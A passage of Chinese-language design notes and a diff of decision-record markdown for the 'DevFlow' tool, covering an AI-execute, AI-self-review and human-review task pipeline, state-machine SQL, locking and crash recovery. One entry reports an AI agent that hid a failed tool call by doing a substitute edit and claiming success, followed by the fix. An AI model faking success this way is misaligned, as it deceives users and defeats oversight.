(ReviewReady, Done | Abandoned | InProgress) => true, // 可退回AI 重做)
_ => false,
}
}
}
```
**状态机下沉 SQL**TOCTOU 根治advance_task 的校验+写入合并为带前置条件的 UPDATE
```sql
UPDATE tasks SET status=:new, updated_at=:now
WHERE id=:id AND status=:expected -- affected_rows==0 即状态已变,拒绝
```
终态保护:`AND status NOT IN ('done','abandoned')`
---
## loop 管理AI 推进下必需)
AI 自审/人工核对退回 → AI 重做 → 再审 → 可能反复。加 `review_rounds: i32` 计数,退回时 +1
- 任务卡显示「第 N 轮 review」迭代可见性
- 可选:轮数过高提示「是否卡住」(不强制终止——单人/AI 决定何时 done
- 强制终止/阈值不做over-engineering
---
## 并发与一致性护栏(对抗验证新增)
AI 推进下并发更常见(多个任务并行 AI 执行)。护栏不变:
1. **per-task 互斥锁**`task_locks: Arc<Mutex<HashMap<String, Arc<Mutex<()>>>>>`
2. **闸门工作流去重**:起 run_workflow 前查 running/interrupted 工作流
3. **WorkflowEvent 加 execution_id** + 转发过滤(防多任务事件串台)
4. **审批请求带 task_id**task_id + execution_id + node_id 三元组)
---
## 数据一致性:跨表事务
`crud.rs` 无跨表事务advance_task 多表写task.status + workflow.status + 阶段二 branches/projects半成品无法回滚。promote_idea 补偿范式不适用更新型。
措施:**补 `Database.transaction()`**OwnedTransactionadvance_task 事务内提交。迁移幂等column_exists + WHERE + conn.transaction 包裹。tags 写入校验。
---
## 崩溃恢复对抗验证新增AI 推进下更关键)
AI 执行/自审是长时异步过程,崩溃恢复更关键:
1. **启动孤儿清理**`UPDATE workflow_executions SET status='interrupted' WHERE status='running'`
2. **审批请求持久化**HumanNode 阻塞前落库node_executions status='pending'),启动恢复
3. **AI 执行状态持久化**AI 执行(长时)需 checkpoint崩溃后能恢复或安全重做阶段二+
4. **审批拒绝语义化**HumanNode/AiNode 区分同意/拒绝/block拒绝走失败路径不当 Ok
5. **重复触发守卫**advance_task 入口检查 running/interrupted 工作流
---
## 前端改造(对抗验证新增 + AI 推进适配)
1. **pendingApprovals 数组化**(按 execution_id 索引)
2. **liveEvents 按 task 路由**event payload 加 task_idstore 改 liveEventsByTask
3. **任务卡 AI 推进可视化**显示当前在哪个环节AI 执行中/AI 自审中/待人工核对/第 N 轮)
4. **按钮防重入**advancingTaskIds: Set
5. **确认式更新**:等 IPC/workflow 事件再刷 task非乐观更新
6. **AI 产出展示**AI 执行的 diff、AI 自审的意见清单,供人核对时查看
7. **统一错误桥接**:全局 watch state.error → Message.error
8. **回调判定**run_workflow 完成回调 advance_task 条件 `task_id.is_some()`
---
## 两阶段落地
### 阶段一AI-First 推进链 + 工程护栏
**推进链**
- 状态集清理(删僵尸 + merged→done+ enum 补 can_transition_to
- **状态机收口**(移除 status 白名单 + advance_task 唯一入口 + 值域校验)← P0
- advance_task + 状态机下沉 SQL + on_task_advanced 空钩子
- **AI 执行闸门**AiNode 最小形态)+ **AI 自审闸门**AiNode 结构化 verdict+ **人工核对闸门**HumanNode
- **失败路径定义**AI 执行失败/AI 自审 block/人工拒绝→退回重做)
- **loop 管理**review_rounds 计数)
- per-task 锁 + 闸门去重、跨表事务、WorkflowEvent 加 execution_id、启动孤儿清理 + 审批持久化
- WorkflowRecord 填值 + event payload 加 task_id
- 前端pendingApprovals/liveEventsByTask/advancingTaskIds/确认式更新/AI 推进可视化
**触发者**advance_task 支持 AI 事件触发 + 人手动介入双通道。
### 阶段二Git + 联动 + AI 执行增强
- 加 kind 字段code kind 闸门脚本换 git 命令串start/ready 接真 git/lint/test
- AI 执行增强agent 多步、worktree 内执行、文件操作)
- 填 on_task_advanced分支联动 + 项目 completed含边界守卫
- BranchRecord 加 worktree_path
### Git 集成:直接外部命令
git 是 ScriptNode/AiNode 一串命令,不特殊化。不建 worktree.rs/df-git crate不做 git 检测框架。硬依赖 git ≥2.20。非 code 任务不依赖 git。
### 联动策略
阶段一剥离分支联动和项目 completed~90 行 + 边界漏洞),阶段二填钩子返工 <30 行。
---
## 落地改动点(阶段一,按优先级)
| 级 | # | 文件 | 改动 |
|---|---|---|---|
| **P0** | 1 | `crud.rs`+`task.rs` | 移除 status 白名单 + advance_task 唯一入口 + 值域校验 + 改单测 |
| **P0** | 2 | `task.rs` | advance_task + 状态机下沉 SQL + on_task_advanced 空钩子 + **支持 AI 事件触发** |
| **P0** | 3 | 闸门 DAG 模板 | **AI 执行AiNode+ AI 自审AiNode verdict+ 人工核对HumanNode三闸门** |
| **P0** | 4 | `human_node.rs`+`ai_node.rs`+`executor.rs` | **审批/自审拒绝语义化**block/拒绝走失败路径不当 Ok |
| **P1** | 5 | `task.rs`/`models.rs` | **review_rounds 计数**(退回 +1 |
| **P1** | 6 | `state.rs` | per-task 锁 + 闸门去重 |
| **P1** | 7 | `db.rs`/`crud.rs` | 补 Database.transaction() + 事务包裹 |
| **P1** | 8 | `events.rs`+`workflow.rs` | WorkflowEvent 加 execution_id + 转发过滤 |
| **P1** | 9 | `state.rs` init | 启动孤儿清理 + 审批持久化恢复 |
| **P1** | 10 | `types.rs` | 删 enum 僵尸 + 补 can_transition_to |
| **P1** | 11 | 迁移 | merged→done幂等 + 事务)|
| **P1** | 12 | `workflow.rs` | run_workflow 加 task_id/project_id + event payload 加 task_id + 完成回调 |
| **P1** | 13 | `models.rs` | TaskRecord 加 tagskind 推阶段二)+ review_rounds + 白名单 |
| **P1** | 14 | 前端 `project.ts`/vue | pendingApprovals 数组 + liveEventsByTask + advancingTaskIds + 确认式更新 + **AI 推进环节可视化** + **AI 产出/diff 展示** |
| **P2** | 15 | `constants`+i18n | merged→done 键名 + tags + review_rounds 文案 + AI 环节文案 |
| **P2** | 16 | `project.ts` | 全局 error 桥接 |
---
## 决策护栏(触发反转条件)
| 决策 | 反转条件 |
|---|---|
| AI-First 推进AI 执行→自审→人核对) | AI 执行能力长期不足/不可靠 → 退回人执行 + AI 辅助审 |
| 阶段一不加 kind | 阶段二 doc/design 真要 AI 执行不同内容;或按 kind 统计 |
| 状态机不抽层 | 第三处状态机需统一审计 |
| 阶段一剥离联动 | 用户验收反馈「想看到项目自动完成」 |
| 不提前集成 git | worktree 异常恢复需 Rust 逻辑 |
| 状态机收口 | 出现「需批量脚本直接改 status」运维场景 → 另开受控入口 |
| AI 自审走 verdict 判定(非纯建议) | AI 自审误判率高 → 降级为建议性,人审全权 |
---
## 决策清单(人定取舍 · why
| # | 决策 | 否决备选 | why |
|---|---|---|---|
| 1 | **AI-First 推进链**AI 执行→AI 自审→人工核对) | 人点按钮推进 | devflow 是 AI-First 工具,任务是 AI 的执行流非人的操作流 |
| 2 | **advance_task 默认 AI 触发**,人可介入 | 仅人触发 | AI 执行/自审完成自动推进;人转审批者 |
| 3 | **AI 自审走 verdict 判定**pass/warn/block | 纯建议 | AI 推进链需 AI 自审能阻断,否则断在人审前 |
| 4 | **人工核对 = 人监督 AI**(非自审自批) | 人确认自己的活 | 修复 merge 零因果AI-First 核心契约 |
| 5 | **拒绝/block → 退回 AI 重做**(非退回人干) | 退回人执行 | AI-First 下人是审批者不是执行者 |
| 6 | **loop 管理 review_rounds**AI 推进必需) | 无计数 | AI 反复审自己,循环比人推进频繁 |
| 7 | 状态机收口(移除 update_task status | 保留旁路 | 对抗验证旁路让状态机形同虚设AI 推进下更危险 |
| 8 | 阶段一不加 kind阶段二再加 | 阶段一二分 | 对抗验证:阶段一零行为差异 |
| 9 | 状态机不抽层enum 补方法 | 抽通用层 | 源码验证空壳 |
| 10 | 状态机下沉 SQLWHERE 前置) | 纯内存校验 | 对抗验证:根治 TOCTOU |
| 11 | 失败路径全覆盖(含 AI 执行/自审失败) | 只描述快乐路径 | 对抗验证:拒绝被当成功是语义反转 |
| 12 | 补跨表事务 | 无事务多写 | 对抗验证:半成品无法回滚 |
| 13 | 崩溃恢复(孤儿清理+审批持久化+AI 执行 checkpoint | 纯内存 | AI 执行长时异步,崩溃恢复更关键 |
| 14 | WorkflowEvent 加 execution_id | 全局单通道 | 对抗验证:多任务事件串台 |
| 15 | 状态集清理后端僵尸(非 7→5 定稿) | 当作待决策 | 对抗验证:前端早已 5 态 |
| 16 | 闸门三必需AI执行/AI自审/人工核对) | merge 强制+其余关 | AI 推进链每环都有节点把关 |
| 17 | 阶段一剥离联动 | 顺带联动 | ~90 行+边界漏洞 |
| 18 | 预留 on_task_advanced 钩子 | 不预留 | 阶段二补是挂插件 |
| 19 | git=闸门脚本调外部命令 | worktree.rs/df-git crate | YAGNI |
| 20 | merged→done迁移 | 文案分流 | 命名中性化 |
| 21 | 前端 pendingApprovals 数组 + 确认式更新 + AI 环节可视化 | 单值/乐观 | 对抗验证多任务并发AI 推进需环节可见 |
---
## 演进记录
1. **多角度论证收敛**kind 二分、状态机不抽层、阶段一范围精简、闸门策略
2. **对抗性验证升级5 维度)**:状态机收口/并发/崩溃恢复/一致性/前端——挖出 P0 致命项(旁路、审批拒绝=成功、TOCTOU、纯内存
3. **AI-First 定位确认**:任务由 AI 执行→AI 自审→人工最终核对。补执行层原方案最大盲区advance_task 触发者改 AIAI 审/loop 升必需merge 升级为「人监督 AI」实质关卡

View File

@@ -1,6 +1,6 @@
# 功能决策记录
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
> 日常开发中对各功能做的**需求规格 + 设计决策规格**(功能粒度,补 [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) 之下的实现层选择)。聚焦「要做什么 / 为什么这么定」,便于日后回溯。
>
> 创建2026-06-12 | 范围Sprint 510 | 维护:随开发追加
@@ -12,10 +12,10 @@
- **设计决策规格**(✅ 已落地 / 🚧 待实测 / 📐 设计未实施)——「为什么这么定」。三要素:决策 → 原因/取舍 → 状态。来源标 `[Sprint N]``[日期]`
- **需求规格 / 待办**(📋)——「要做什么 / 为什么需要」。与 PROGRESS 流水区分:这里记「要做什么 / 为什么需要」PROGRESS 记「做了啥」。
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录.md](./经验记录.md)。
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档.md](./功能决策记录-归档.md)。
**经验性内容**(踩坑 / 约定 / 技巧 / bug 排查教训)→ [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)。
**老条 / 纯流水 / UX 微调 / 已被取代** → [功能决策记录-归档-2026-06-14.md](./功能决策记录-归档-2026-06-14.md)。
记录规则见 [文档记录规范](./文档记录规范.md)。
记录规则见 [文档记录规范](./文档记录规范-2026-06-14.md)。
## 人机协同设计基准
@@ -198,11 +198,28 @@
- **原因/取舍**:① 规则兜底保证 LLM 不稳定时仍有基础信息LLM 只补规则搞不定的摘要。② 采样与 LLM 分层——采样纯 IO 属 df-project 职责可复用LLM 调用依赖 df-ai放 commands 使 df-project 保持无 LLM 依赖(防循环)。③ 不读源码控 token+隐私。④ 结果预览让用户把关防 LLM 瞎编。
- **状态**:✅ 2026-06-14 落地scan_project_with_ai 命令 + 前端 AI 扫描预览;编译/单测/类型全绿)。
### 导入历史项目scan 第二步设计description 走 LLM + 采样保留内容图 + monorepo 一层 + 批量并发 [2026-06-14]
- **决策**F-06 = scan 第二步,选根目录 → 发现项目(含 monorepo 子目录)→ 勾选批量导入。六点收敛:① **description 走 LLM** 复用 `scan_project_with_ai`command 层 complete**不做纯规则抽取**(跨 README 格式 brittle**采样改进**——`ProjectSample``images: Vec<ImageRef{alt,src}>``readme` 剥 frontmatter/TOC/纯徽章行后截 ~8KB`SAMPLE_README_MAX=2000` 偏小粗暴),**保留内容图 markdown 原样**;③ **image 多模态条件化**——当前 `ChatMessage.content:String`F-260614-05 未做)走纯文本降级,采样层先不丢 image 引用留接口Phase 2 上线后读 base64 喂 vision**monorepo 一层识别**`is_monorepo` 检 pnpm-workspace/lerna/turbo/nx + package.json workspaces`discover_projects` 展开 packages/\*/apps/\* 直接子目录,`detect_stack` 空的过滤);⑤ **批量流程**——`scan_directory_for_projects` 规则发现(快、不跑 LLM+ 标已绑定项;用户勾选后 `import_projects_batch` 对勾选项**并发** LLM 抽 description`llm_concurrency` 双层 permit 限流)+ 复用绑定入库,非原子逐项独立;⑥ **对称改进**——抽内部 `create_with_binding`create_project + import batch 共用「校验+防重+探测+insert」缓解决策记录:211 TODOrelocate 不并入update 非 insert
- **原因/取舍**:① description 纯规则抽首段会撞徽章墙/多语言引导/TOC——抽出来是噪音语义抽取归 LLM**image 不能粗暴跳过**(修正原 plan 错把 image 归噪音)——架构图/截图是 description 关键信息一张顶千字只跳徽章shields.io/badge.fury 等域 + build/version/license/coverage 关键词);③ 采样不丢 image = F-06 不被 F-260614-05 阻塞但不留遗憾,两者配套;④ 批量只对勾选项跑 LLM远少于发现全量平衡速度质量⑤ 「子代理」= 轻量 complete 复用现有 `scan_project_with_ai` 路径,非 aichat ReAct 重 agent批量精修不值得上多轮
- **边界**:导入项目 status 默认 `planning`(对齐 create_project导入后手改预览表格只读name/desc/stack/已绑定标记,不展示 image导入后详情页改不关联 idea批量无实时进度条最终 toast 汇总(导入 N/跳过 MLLM 全失败 description 留空让用户手填(不喂噪音)。
- **状态**:📐 2026-06-14 设计定稿待实施6 决策经 3 轮讨论收敛,修正原 plan 两处草率:纯规则 description + 跳 image。📋 实现时df-project 加 `discover_projects`/`is_monorepo` + `collect_sample` 扩 images + 徽章过滤commands 加 `scan_directory_for_projects`/`import_projects_batch` + 抽 `create_with_binding`;前端 Projects.vue 加导入 modal + i18nscan.rs 单测(采样剥噪音/image 收集/monorepo/discover
### AI 工具绑定目录bind_directory 专用工具 + 工具层白名单同步 + prompt 禁冒充 [2026-06-14]
- **决策**:① update_project 工具白名单补 path/stack同步 db 新字段);② 新增 bind_directory 专用工具(绑定目录不走通用 update③ 系统 prompt 加约束:工具失败须明说,禁用替代操作冒充原意图成功。
- **原因/取舍**:① review AI 对话发现 update_project(path) 被工具层白名单拒db 字段加了但工具层漏同步AI 转而改写 description 却回复「已记录」冒充绑定成功误导用户。② 专用工具语义清晰,防 AI 走通用 update 捷径冒充。③ prompt 约束防单链 ReAct「自我圆场」幻觉失败时用替代谎报成功
- **状态**:✅ 2026-06-14 落地(白名单同步 / bind_directory / prompt 中英约束;编译全绿)。📋 待清:工具层白名单与 crud 白名单双份去重(详见经验记录)。
### 📋 项目管理 review 剩余问题与处理论证(供后续会话)[2026-06-14]
- **背景**:项目管理 review 12 条9 条已修①delete 软删 / ②回收站工具 restore+purge+list_trash / ③collect_sample spawn_blocking / ④normalize_path 抽公共 / ⑥i18n / ⑦parseStack 抽 utils / ⑧ConfirmDialog / ⑫create_project 加 path。剩余 4 条 + 1 新发现论证如下,设计视角取**全局 + 对称 + 优雅**,非局部最优。
- **值得改(全局必要 + 对称缺失)**
- **⑤ update 白名单双份**tool_registry update_project 硬编码 5 字段 vs crud allowed_columns已致一次 bug。对称论证两者**语义不同**——DB 白名单=SQL 安全列(含 id/created_at/idea_id 系统字段AI 白名单=业务可改子集。不能复制,应**派生**AI ⊂ DB减系统字段真相源在 DB 一处。当前平行两份不对称,必漂移。
- **⑩ scan_project_with_ai 无 LLM 超时**。全局complete 卡住占 `llm_concurrency` 全局 permit → 阻塞主对话/标题生成/知识提炼,不止单次扫描。对称:`stream_llm` 有 idle 120s timeout见「流式可靠性三重保险」complete 非流式却无——两套 LLM 超时策略不对称,应对齐。
- **🆕 create_project 与 bind_directory 绑定逻辑重复**tool_registry create:170 内联绑定 + bind_directory:220 重复,已标 TODOcommands/project.rs create/relocate 同样)。对称+优雅:绑定是单一子操作,应集中 df-projectnormalize_path 已归此create/bind/relocate 共用一个 bind fn。当前 create 内联 bind 破坏「同名操作同实现」的对称。
- **低优先(局部优化,降级兜底,过度反伤优雅)**
- ⑨ collect_sample 文件大小限制read_to_string 全读再截,实际 README/清单 <10KB 概率低。最多一行 `metadata skip >1MB`,不必过度。
- ⑪ parse_scan_result JSON 提取:单 JSON 对象 OK多段场景降级兜底空 desc+规则 stack已足够。
- **状态**:📋 待后续会话处理。优先级 ⑤⑩ + create/bind 去重(中,全局/对称必要)> ⑨⑪(低/可选)。
## 知识库df-evolve / 共享记忆层)
> 核心定位与设计决策。详细字段/参数级决策见各条目。
@@ -277,7 +294,7 @@
## AI Chat 上下文窗口与并发控制(架构结论)
> 实现细节见 [归档文档](./功能决策记录-归档.md)「AI Chat 上下文窗口与并发控制」。
> 实现细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)「AI Chat 上下文窗口与并发控制」。
### 设计决策 [2026-06-13]
- **ContextManager 类型替换为 messages 真相源**`AiSession.messages``Vec<ChatMessage>` 改为 `ContextManager`(非 wrapper 包装层),消息真相源唯一,避免 Vec + ContextManager 双存导致状态分裂。裁剪仅影响发送视图(`build_for_request` 返回裁剪版,`all_messages_clone` 返全量落库)。
@@ -317,7 +334,7 @@
- **原因**:重启后分离窗口必然不存在,若恢复为 `true` 会让 UI 状态指向不存在的窗口按钮失灵、panelOpen 错乱)。这两个态是运行时临时态,不属可恢复布局。
- **状态**:✅ Sprint 10
> UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档.md)。
> UI 布局 localStorage + 模块级恢复的细节见 [归档文档](./功能决策记录-归档-2026-06-14.md)。
## 应用启动 / 数据库配置
@@ -344,10 +361,10 @@
## 决策治理产品化评估2026-06-13
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制.md](./规格契约自检机制.md)。
> 审视 DevFlow 是否应把决策治理(记录/锚点/完成度/自检/漂移)做成产品功能。机制设计详见 [规格契约自检机制-2026-06-14.md](./规格契约自检机制-2026-06-14.md)。
### 5 痛点产品内未覆盖,真实运转的寄生 Claude Code 层 [2026-06-13]
- **决策**DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制.md 纯设计稿0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录.md + decision-record skill + dr-check hook寄生在 Claude Code 协作层,未沉淀进产品。
- **决策**DevFlow 产品内对决策治理 5 痛点「设计满格、代码两极」——df-traceability 死代码(无表/无 IPC/无前端);契约锚点/AI 自检/漂移检测=规格契约自检机制-2026-06-14.md 纯设计稿0 行代码);完成度无聚合视图。唯一真实运转的(功能决策记录-2026-06-14.md + decision-record skill + dr-check hook寄生在 Claude Code 协作层,未沉淀进产品。
- **原因/取舍**:没用 Claude Code 的用户DevFlow 给不了任何决策治理能力。这套能力寄生在协作工具上,核心价值未进产品。
- **状态**:📐 待产品定位决策
@@ -369,7 +386,7 @@
- **决策**:整删 5 个 crate——`df-evolve` / `df-plugin` / `df-stages` / `df-task` / `df-traceability`。**推翻既有「df-evolve 领域类型保留」决策**:连同 `Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型一起整删,知识库领域统一走 `df_storage::models::KnowledgeRecord`,不再维护独立领域模型层。
- **原因/取舍**
- **零引用铁证**:全仓跨 crate 引用为 0——`src-tauri/src` 下 0 处 `use`,其他 crate `Cargo.toml` 不依赖,仅 `src-tauri/Cargo.toml` 声明 `df-evolve` 但源码零用。整坨孤立骨架。
- **推翻归档决策**`功能决策记录-归档.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`df-storage上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
- **推翻归档决策**`功能决策记录-归档-2026-06-14.md:355` 原记「`Knowledge`/`PromptTemplate`/`ReviewRule` 领域类型有意保留待 Tier 1 Service 复用」——本次决定**放弃 Tier 1 独立领域模型路线**。理由:① 知识库 Tier 1 已在 `KnowledgeRecord`df-storage上落地 LIKE + 向量混合检索 + 状态机,实际运转的领域模型就是 `KnowledgeRecord`df-evolve 的领域类型成为「理想但悬空」的另一套定义,重复且误导;② 维护两套领域类型是「未来可能复用」的预期成本 vs 「现在重复定义 + 误导性地雷」的实际危害,用户选消灭后者。
- **df-task::Task 一并删**`Task`(含 `branch_id`/`tags`/`estimate_hours` 等比 `TaskRecord` 更丰富的字段)作为「理想任务领域模型」长期悬空零引用,任务领域统一用 `df_storage::models::TaskRecord`
- **df-traceability 整删**:原被记为「锚点雏形可复活」(见上方「决策治理产品化评估」)。本次决定删除——如未来真需锚点机制,重新评估而非保留死码。死码「可复活」是一种伪期权,实际价值是误导后续维护者以为它在运转。
- **df-plugin / df-stages 属过早设计**df-pluginWASM/动态库、df-stages11 阶段节点 `execute()` 全空壳未启动即删与「人机协同设计基准」中「AI 反复读写的代码不养空壳」一致。
@@ -411,7 +428,7 @@
4. **无环且与 ai.rs 拆分不冲突**`df-ai-core`trait+类型)← `df-ai`(impl) / `df-ideas`(use trait)`src-tauri` 装配。「ai.rs 子 module 不下沉 crate」规避的是 src-tauri→df-ai 反向依赖;本决策是 df-ai→df-ai-core 正向拆分,方向相反、互不矛盾。
- **否决项**:纯 Aper-module trait= 全局 N 份发散契约,反模式;裸 Bdf-ideas 直接依赖 df-ai= 纯逻辑 crate 被 reqwest 污染、自检摩擦上升。
- **退路**:若不愿加新 cratetrait 可放 `df-core`语义稍糙——LLM 非领域类型,但零新 crate可接受
- **状态**:📐 设计决策已2026-06-14),未实施。落地链:① 新建 `df-ai-core` + 迁 trait/类型;② `df-ai` 改依赖 `df-ai-core` + 留实现;③ `df-ideas``df-ai-core` 依赖、`AdversarialEngine::evaluate` provider 注入参数;④ src-tauri 装配真实 provider
- **状态**:📐 设计定稿2026-06-144 项决策已定:① 拆分边界=仅 trait+数据结构 ② provider 注入=构造注入 `Engine::new(Option<Arc<dyn LlmProvider>>)` ③ LLM 失败=自动降级启发式+warn+`EvaluatedBy` 标记 ④ provider 构造=应用层 src-tauri 装配注入),未实施。详见 [F-07-df-ai-core-trait下沉设计-2026-06-14.md](./F-07-df-ai-core-trait下沉设计-2026-06-14.md)
## 工作流人工审批节点B-03
@@ -424,7 +441,7 @@
4. **decision 强制校验**options 非空时强制 `decision ∈ options`非法值报错而非静默放行——审批门控不能被脏输入绕过options 空时允许自由文本。
5. **B-06/B-07 是并发隔离/取消的前置,非单流功能前置**:单工作流 B-03 照常工作;并发安全等 B-06execution_id 下沉);取消机制需 B-07 + `set_cancelled` + cancel IPC单列 **B-03b**。B-03a响应等待 + 超时)不依赖 B-07。
- **边界**:取消分支在 B-07 + `set_cancelled` 补齐前恒 false等价无取消功能不残跨工作流并发 HumanNode 在 B-06 修前有 Response 错配风险。
- **状态**:📐 设计完成2026-06-14未实施。详见 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md)。
- **状态**:📐 设计完成2026-06-14未实施。详见 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md)。
## 需求与待办
@@ -446,7 +463,7 @@
| ✅ IPC参数驼峰/蛇形不对齐误报澄清Tauri v2 自动将前端 camelCase 参数名转后端 snake_case`approve({toolCallId})` / `setConcurrencyConfig({globalLimit})` 实际正确、功能正常——无需修 | AI Chat | 2026-06-13 审查误报 | — |
| 🔴 df-workflow ConditionEngine 默认 true所有未识别条件表达式均通过工作流条件分支形同虚设`Ok(false)``Err` 一行可修 | 工作流引擎 | 2026-06-13 代码审查 | P0 |
| 🔴 df-workflow DagExecutor execution_id 硬编码 "dummy-execution-id":所有执行 ID 相同,追踪/审计失效 | 工作流引擎 | 2026-06-13 代码审查 | P1 |
| 📐 df-workflow HumanNode 假实现execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制.md](./B-03-人工审批响应机制.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
| 📐 df-workflow HumanNode 假实现execute 注释"等待审批"但首次迭代直接 return "同意" — **设计完成 [B-03-人工审批响应机制-2026-06-14.md](./B-03-人工审批响应机制-2026-06-14.md),待实施**(依赖 B-06 并发隔离 / B-07 取消前置) | 工作流引擎 | 2026-06-13 多代理探索 → 2026-06-14 设计 | P0 |
| 🔴 df-workflow NodeRegistry::default() 的 script 工厂 unimplemented! panic用 default() 构建注册表 + 跑 script 节点即崩溃进程(非优雅 Err | 工作流引擎 | 2026-06-13 多代理探索 | P0 |
| 🔴 df-workflow executor 每节点拿全新空 StateMachineself.state_machine 从不传入 NodeContextHumanNode is_cancelled 恒 false取消机制失效 | 工作流引擎 | 2026-06-13 多代理探索 | P1 |
| 🟡 promote_idea 两步写非事务INSERT project 成功后若 UPDATE idea 失败,项目存在但想法状态未变,补偿删除可修 | 灵感/立项 | 2026-06-13 代码审查 | P1 |
@@ -465,8 +482,8 @@
- **代码审查甄别原则**2026-06-13审查发现问题时按「运行时失败/数据损坏 → 简单清理 → 记录不动 → 不做」四档甄别。当前项目规模下list_all 无 LIMIT、ALLOWED_COLUMNS 不分表、bool→int 重复等属「记录不动」——个人工具表不超千行,加分页/拆白名单是过度设计,维护成本 >> 收益。原则:**真实 bug 修、简单清理做、规模不到位的优化先不动**,保持全局简洁和扩展容易。
**相关文档**
- [Phase 1 架构决策](./Phase1架构决策.md) — 架构级决策ADR
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
- [功能决策记录-归档](./功能决策记录-归档.md) — 纯流水/老 Sprint/UX 微调/已被取代
- [Phase 1 架构决策](./Phase1架构决策-2026-06-12.md) — 架构级决策ADR
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训
- [功能决策记录-归档](./功能决策记录-归档-2026-06-14.md) — 纯流水/老 Sprint/UX 微调/已被取代
- `PROGRESS.md` — 各 Sprint 工作流水与遗留
- [Phase 2 计划](../07-项目管理/Phase2计划.md)
- [Phase 2 计划](../07-项目管理/Phase2计划-2026-06-12.md)

View File

@@ -1,6 +1,6 @@
# 功能决策记录 — 归档
> 从 [功能决策记录.md](./功能决策记录.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
> 从 [功能决策记录-2026-06-14.md](./功能决策记录-2026-06-14.md) 归档的条目——纯实现流水、老 Sprint 决策、UX 微调、已被取代或合并的细节。这些条目在「3 个月回看是否仍影响系统/功能设计理解」判断下已不再需要常驻主文档,但完整保留以备回溯。
>
> 创建2026-06-14 | 性质:归档只读,不再维护更新
@@ -219,11 +219,11 @@
### 流式 token 落库走累加模式(非覆盖)
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
### Anthropic 流式 output_tokens 当累计值直接覆盖
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
### Token 展示默认关闭 + Settings 开关 [2026-06-13]
@@ -372,7 +372,7 @@
### ALLOWED_COLUMNS 从全局共享演进为按表隔离
> 已移入 [经验记录.md](./经验记录.md)「约定」分组。
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「约定」分组。
---
@@ -392,7 +392,7 @@
### i18n 模块必须命名空间化导出
> 已移入 [经验记录.md](./经验记录.md)「踩坑」分组。
> 已移入 [经验记录-2026-06-14.md](./经验记录-2026-06-14.md)「踩坑」分组。
### 状态枚举 i18nconstants 存 keyview 包 $t
@@ -403,5 +403,5 @@
---
**相关文档**
- [功能决策记录](./功能决策记录.md) — 需求规格 + 设计决策规格(当前真相源)
- [经验记录](./经验记录.md) — 踩坑/约定/技巧/bug 排查教训
- [功能决策记录](./功能决策记录-2026-06-14.md) — 需求规格 + 设计决策规格(当前真相源)
- [经验记录](./经验记录-2026-06-14.md) — 踩坑/约定/技巧/bug 排查教训

View File

@@ -0,0 +1,150 @@
# 功能创意池 — 2026-06-14
> 性质: **创意池 / 待评估**(非已定决策。评估通过后才转正式 concept 文档 + 进 todo)
> 关联: df-ideas · df-workflow · df-ai · Decision 实体 · 规格契约自检机制
> 生成背景: 基于当前系统做功能架构创意,尽量避开已构想范围(创意 4/5 与规格契约自检为延伸关系,见各创意独创列)
> 修订: 2026-06-14 自审后修订 —— 可行性论证诚实化(复用/新造分清)、创意 4/5 重定位为规格契约自检延伸、首选从 4 改为 1、每创意补「难点与风险 + 失败模式」
---
## 一、怎么用这个池子
- 每个创意 = 一个**候选功能方向**,非已定决策
- 状态流转: `💡待评估``📐待设计`(立 concept 文档) → `🔨待实施`(进 todo)
- 评估维度: 新颖性 / 实用价值 / 可行性 / 与现有构想的差异度
- 转正流程: 评估通过 → 单独立 `<主题>-concept.md`(参考 `任务推进构想-2026-06-14.md` 风格)→ 进 todo
## 二、已避开的方向(防重复提案)
| 已有/已构想方向 | 落点 |
|---|---|
| AI-First 任务推进链(三闸门) | `任务推进构想-2026-06-14.md` 已设计 |
| 对抗式想法评估(三路论证) | df-ideas 启发式版已实现 |
| 工作流审批子系统 | Wave5 已完成 |
| 对话内异步审批 | `aichat异步审批构想-2026-06-14.md` |
| 信息密度优化(折叠) | `aichat信息密度构想-2026-06-14.md` |
| 模型能力系统/路由 | todo `F-260614-01` |
| 数据变更联动刷新 | todo `AR-11` |
| 创作模板系统 | todo 已构想 |
| 知识库 MCP Server | todo `F-260614-10` |
